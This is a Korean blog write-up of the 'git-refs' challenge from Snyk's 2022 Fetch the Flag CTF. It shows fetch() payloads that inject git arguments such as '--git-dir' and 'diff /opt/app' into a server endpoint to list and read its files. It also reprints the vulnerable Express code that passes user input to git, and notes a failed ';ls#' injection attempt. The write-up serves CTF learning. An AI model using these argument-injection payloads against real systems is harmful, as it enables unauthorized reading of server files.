🏆 2024

맛집 분야 크리에이터

🏆 2023

IT 분야 크리에이터

👩‍❤️‍👨 구독자 수

182

✒️ 게시글 수

0
https://tistory1.daumcdn.net/tistory/4631271/skin/images/blank.png 네이버블로그

🩷 방문자 추이

오늘

어제

전체

🏆 인기글 순위

티스토리 뷰

보안/CTF

[Fetch the Flag CTF] git-refs Writeup(문제풀이)

알 수 없는 사용자 2022. 11. 11. 23:43
728x90
반응형

Enumeration

(풀이의 결론만 궁금한 사람은 Enumeration 부분은 건너 뛰세요)

우선 문제는 별도의 소스코드는 제공되지 않았고, 문제 URL만 제공되었습니다.

Go! 버튼을 누르면 아래와 같이 git 로그가 쭉 나오는 것을 볼 수 있습니다. 

 

script 태그에 정의된 javascript 내용을 보면 아래와 같았습니다.

  document.querySelector('#req-form').addEventListener('submit', (e) => {
    e.preventDefault();
    const url = document.querySelector('#req-url').value;

    fetch('/git', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json'
      },
      body: JSON.stringify(['ls-remote', url])
    })
      .then((res) => {
        if (!res.ok) return Promise.reject('error!');
        return res.text();
      })
      .then((data) => {
        const body = document.querySelector('#results-body');

        body.innerHTML = '';
        data.split('\n').forEach((line) => {
          const [hash, name] = line.split('\t');
          body.innerHTML += `<tr><td>${name}</td><td>${hash}</td></tr>`;
        });
      })
      .catch((e) => {
        alert(e);
      });
  });

/git 경로로 POST 요청을 보내고 있었으며, json 포맷으로 배열을 보내고 있었습니다.

 

문제의 페이지에서 Go! 버튼을 눌렀을 때 요청되고 반환되는 결과는 아래 코드로 실행했을 때와 동일합니다.

fetch("http://git-refs.c.ctf-snyk.io/git", {
  "headers": {
    "content-type": "application/json"
  },
  "body": "[\"ls-remote\",\"https://github.com/snyk/nuget-semver\"]",
  "method": "POST"
}).then((r)=>r.text()).then(console.log)

딱 보면 Command Injection 문제와 같아 처음에는 명령어가 끝나는 뒷 부분에 주석이나 명령어 구분자를 넣어보고 해봤는데, 잘되지 않았습니다.

뒤에 ;ls# 가 잘 들어간 것은 확인할 수 있었는데, git 명령어의 일부분으로 인식되는 것이 shell 로 실행되는 것은 아니라는 것으로 짐작이 되었습니다.

 

때문에 git 명령어로만 제한두어서 생각해봤습니다. 우선 git 을 잘 모르기 때문에 도움말을 살펴보았습니다.

각각의 옵션의 설명을 git 문서와 함께 살펴보았습니다.

https://git-scm.com/docs

 

Git - Reference

Reference

git-scm.com

 

버전은 git version 2.30.2 이었습니다. 우선 관련 원데이 취약점(CVE)를 찾아봤었고, 임의의 파일을 작성해야 실행되는 것들은 환경이 여의치 않아 시도해볼 수 없었던 것 같습니다. 

https://www.cvedetails.com/vulnerability-list/vendor_id-15815/product_id-33590/Git-scm-GIT.html

 

Git-scm GIT : List of security vulnerabilities

Git is an open source, scalable, distributed revision control system. `git shell` is a restricted login shell that can be used to implement Git's push/pull functionality via SSH. In versions prior to 2.30.6, 2.31.5, 2.32.4, 2.33.5, 2.34.5, 2.35.5, 2.36.3,

www.cvedetails.com

 

그렇게 수차례 시도 끝에 결론에 도달하는 방법을 찾을 수 있었습니다. 제가 찾은 방법은 언인텐일 수도 있는게 실제 문제 작성자가 올려준 문제풀이 내용과도 다릅니다.

 

Exploit

fetch('/git', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json'
    },
    body: JSON.stringify(['rev-parse','--show-toplevel'])
}).then((r)=>r.text()).then(console.log)

서버에서 설정한 현재 worktree 의 경우 아래처럼 계속 /tmp/ 하위 디렉터리명이 변경되는 것을 알 수 있습니다.

현재 경로에서 어쩌피 git add * 해봤자 계속 staged files 는 없는 상태가 될 것이라 의미가 없습니다. 때문에 변경되지 않는 경로에 .git 디렉터리를 생성해서 git directory 로 설정해주어야 합니다.

 

익명의 사용자가 접근 권한이 있고 변경되지 않는 경로는 /tmp 라는 경로가 존재합니다. 때문에 이 경로에 임의의 github repository를 만들어주면, 실제 서버가 존재하는 경로와 git diff 명령어로 비교해주면 파일의 내용을 볼 수 있게 됩니다.

 

우선 아래 명령어를 실행해서 임의 repository를 /tmp/domdom 경로에 생성해줍니다.

fetch('/git', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json'
    },
    body: JSON.stringify(['--work-tree=/tmp/domdom', '--git-dir=/tmp/domdom', 'init'])
}).then((r)=>r.text()).then(console.log)

그런 다음에 바로 diff 명령어를 수행하는 코드를 실행해줍니다.

fetch('/git', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json'
    },
    body: JSON.stringify(["diff","/opt/app","/tmp/domdom"])
}).then((r)=>r.text()).then(console.log)

다만 문제는 예상하건데 서버 앱이 Express 라서 node js 로 작성되어 있기 때문에 node_modules/ 디렉터리에 있는 모든 모듈의 파일까지 다 가져와질 것을 예상해서 console.log 된 결과를 보기보다 바로 웹페이지로 출력시켜서 확인해보는 것이 좋습니다.

헉.. Burpsuite 로도 다 출력할 수 없다고 하니, Copy to File 해서 가져와보겠습니다.

 

중요 파일만 좀 살펴보면 아래와 같습니다.

diff --git a/opt/app/index.mjs b/opt/app/index.mjs
deleted file mode 100644
index 5f2d64a..0000000
--- a/opt/app/index.mjs
+++ /dev/null
@@ -1,43 +0,0 @@
-import {readFileSync} from 'node:fs';
-import {execa} from 'execa';
-import express from 'express';
-import bodyParser from 'body-parser';
-import {withDir} from 'tmp-promise';
-
-const app = express();
-
-const VIEW_INDEX = readFileSync('./index.html', 'utf-8');
-
-app.use(bodyParser.json());
-
-app.get('/', (req, res) => {
-  res.send(VIEW_INDEX);
-});
-
-app.post('/git', (req, res) => {
-  if (!Array.isArray(req.body)) {
-    res.status(422).send('');
-    return;
-  }
-
-  const params = req.body.map((s) => String(s));
-
-  withDir(async ({path}) => {
-    await execa('git', ['init'], {
-      cwd: path
-    });
-    const {stdout} = await execa('git', params, {
-      timeout: 5000,
-      cwd: path
-    });
-
-    res.send(stdout);
-  }, {unsafeCleanup: true})
-    .catch((error) => {
-      res.status(500).send(`${error}: ${error.stderr}`);
-    });
-});
-
-app.listen(8000, () => {
-  console.log(`Listening on port 8000`);
-});

서버에서는 execa 라는 모듈을 이용해서 사용자로부터 params 를 받아서 git 명령을 실행시키고 있는 것을 알 수 있었습니다.

https://www.npmjs.com/package/execa

 

execa

Process execution for humans. Latest version: 6.1.0, last published: 9 months ago. Start using execa in your project by running `npm i execa`. There are 9901 other projects in the npm registry using execa.

www.npmjs.com

 

그리고 execa 에서는 내부적으로 shell 옵션이 별도로 주어지지 않으면 기본값으로 false 값을 가지어 shell 관련 문법 및 명령이 실행되지 않도록 하고 있다고 합니다.

// If the file or an argument contains spaces, they must be escaped with backslashes
// The shell option must be used if the command uses shell-specific features (for example, && or ||), as opposed to being a simple file followed by its arguments.
// (https://www.npmjs.com/package/execa#execacommandcommand-options)
spawned = childProcess.spawn(parsed.file, parsed.args, parsed.options);

 

Flag 파일은 어디있는지 검색 기능을 활용해서 snyk{ 를 검색해보았습니다.


라인 수가 엄청 길죠? node_modules 디렉터리까지 전부 다 비교하고 있어서 그렇습니다. 무튼 flag는 package.json 에 있었습니다.

 

이로써 git 명령어만을 가지구서 디렉터리 리스팅 및 파일 읽기를 해볼 수 있는 신박하고 재밌는 문제였습니다.

처음에는 command injection 인 줄 알고 시간을 엄청 썼지만, 정말 신기하게도 이런 저런 방법을 통해서 위와 같은 결과를 만들 수 있는 것 같더라구요!

 

+문제풀이 관련 추가 내용

뒤늦게 diff 명령어에 대해서 알아봤는데, diff 명령어가 굳이 존재하는 repository 랑 비교하지 않아도 되는 것 같았습니다. 때문에 그냥 init 이나 clone 하지 않더라도 그냥 바로 diff 명령어를 수행해서 비교할 수 있는 것 같습니다.

fetch('/git', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json'
    },
    body: JSON.stringify(["diff","/opt/app","."])
}).then((r)=>r.text()).then(console.log)

 

공식 사이트에 올라온 풀이랑 좀 다르기 때문에 같이 참고해서 보면 좋을 것 같습니다.

https://snyk.io/blog/fetch-the-flag-ctf-2022-writeup-git-refs/

 

Fetch the Flag CTF 2022 writeup: git-refs | Snyk

Learn how to solve the git-refs challenge from Snyk's 2022 Fetch the Flag CTF competition.

snyk.io

나중에 기회되면 제 풀이 방법을 위한 문제도 만들어 볼까 하네요!

 

- 끝 -

728x90
반응형
댓글